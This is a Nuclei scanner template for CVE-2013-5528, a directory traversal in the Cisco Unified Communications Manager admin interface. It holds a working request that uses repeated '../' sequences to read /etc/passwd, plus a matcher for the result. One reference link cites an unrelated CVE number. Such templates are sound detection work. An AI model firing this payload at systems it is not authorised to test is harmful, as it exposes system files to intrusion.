nuclei-templates/http/cves/2013/CVE-2013-5528.yaml

44 lines
1.8 KiB
YAML

id: CVE-2013-5528
info:
name: Cisco Unified Communications Manager 7/8/9 - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815
impact: |
Successful exploitation of this vulnerability could allow an attacker to access sensitive files and directories on the affected system.
remediation: |
Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/40887
- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
- http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
cvss-score: 4
cve-id: CVE-2013-5528
cwe-id: CWE-22
epss-score: 0.00565
epss-percentile: 0.75222
cpe: cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cisco
product: unified_communications_manager
tags: cve,cve2013,lfi,cisco,edb
http:
- method: GET
path:
- "{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450221008e02f05197668a2896c4ce3329cfaa33626f88728c4b26081575c062dfa2793b02202da67d420e04a0893e7789fa280484696fae3e87c216e5c8035aa45364e2f2b7:922c64590222798bb761d5b6d8e72950